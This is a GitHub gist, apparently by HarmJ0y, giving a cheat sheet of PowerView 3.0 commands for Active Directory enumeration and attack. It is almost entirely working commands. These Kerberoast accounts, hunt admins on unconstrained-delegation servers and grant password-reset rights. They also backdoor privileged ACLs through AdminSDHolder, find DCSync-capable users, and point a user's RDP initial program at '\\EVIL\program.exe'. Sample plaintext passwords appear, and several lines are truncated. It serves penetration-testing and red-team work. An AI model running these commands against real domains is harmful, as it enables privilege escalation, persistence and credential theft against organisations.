Instantly share code, notes, and snippets.

Create a gist now

HarmJ0y / PowerView-3.0-tricks.ps1

Last active 6 days ago

★ Star 57 Fork 20

Code Revisions 8 Stars 57 Forks 20

Embed <script src="https://gi: Download ZIP

PowerView-3.0 tips and tricks

PowerView-3.0-tricks.ps1

Raw

```
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set
#       Add : add a new object to a destination
#       Set : modify a given object
#       Invoke : lazy catch-all
#   Nouns:
#       Verb-Domain* : indicates that LDAP/.NET querying methods are being executed
#       Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration
#       Verb-Net* : indicates that Win32 API access is being used under the hood


# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups
Get-DomainGroup -MemberIdentity <User/Group>

# get all the effective members of a group, 'recursing down'
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

# retrieve all the computer dns host names a GPP password applies to
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}

# get all users with passwords changed > 1 year ago, returning sam account names and password last set times
$Date = (Get-Date).AddYears(-1).ToFileTime()
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset

# all enabled users, returning distinguishednames
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname

# all disabled users
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
Get-DomainUser -UACFilter ACCOUNTDISABLE

# all users that require smart card authentication
Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)"
Get-DomainUser -UACFilter SMARTCARD_REQUIRED

```

```
# all users that *don't* require smart card authentication, only returning sam account names
Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname

# use multiple identity types for any *-Domain* function
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','a

# find all users with an SPN set (likely service accounts)
Get-DomainUser -SPN

# check for users who don't have kerberos preauthentication set
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

# find all service accounts in "Domain Admins"
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

# find users with sidHistory set
Get-DomainUser -LDAPFilter '(sidHistory=*)'

# find any users/computers with constrained delegation st
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for de
$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -AllowDelegation -AdminCount

# return the local *groups* of a remote server
Get-NetLocalGroup SERVER.domain.local

# return the local group *members* of a remote server using Win32 API methods (faster but less info)
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local
```

```
# Kerberoast any users in a particular OU with SPNs set
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"

# Find-DomainUserLocation == old Invoke-UserHunter
# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

# find all computers in a given OU
Get-DomainComputer -SearchBase "ldap://OU=..."

# Get the logged on users for all machines in any *server* OU in a particular domain
Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname

# enumerate all gobal catalogs in the forest
Get-ForestGlobalCatalog

# turn a list of computer short names to FQDNs, using a global catalog
gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}

# enumerate the current domain controller policy
$DCPolicy = Get-DomainPolicy -Policy DC
$DCPolicy.PrivilegeRights # user privilege rights on the dc...

# enumerate the current domain policy
$DomainPolicy = Get-DomainPolicy -Policy Domain
$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
$DomainPolicy.SystemAccess # password age/etc.

# enumerate what machines that a particular user/group identity has local admin rights to
#   Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# enumerate what machines that a given user in the specified domain has RDP access rights to
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP

# export a csv of all GPO mappings
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv

# use alternate credentials for searching for files on the domain
#   Find-InterestingDomainShareFile == old Invoke-FileFinder
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential

# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local

# grant user 'will' the rights to change 'matt's password
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose

# audit the permissions of AdminSDHolder, resolving GUIDs
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs

# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}

# find linked DA accounts using name correlation
```

```
Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.spli

# save a PowerView object to disk for later usage
Get-DomainUser | Export-Clixml user.xml
$Users = Import-Clixml user.xml

# Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3

# find all policies applied to a current machine
Get-DomainGPO -ComputerIdentity windows1.testlab.local

# enumerate all groups in a domain that don't have a global scope, returning just group names
Get-DomainGroup -GroupScope NotGlobal -Properties name

# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships
#   query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectcl
$Domains = @{}
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
    # extract the domain the foreign user was added to
    $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
    # check if we've already enumerated this domain
    if (-not $Domains[$ForeignUserDomain]) {
        $Domains[$ForeignUserDomain] = $True
        # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set
        $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
        Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member
    }
}
```

```
$ForeignMemberships | fl

# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf

# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier

# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose

# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}
```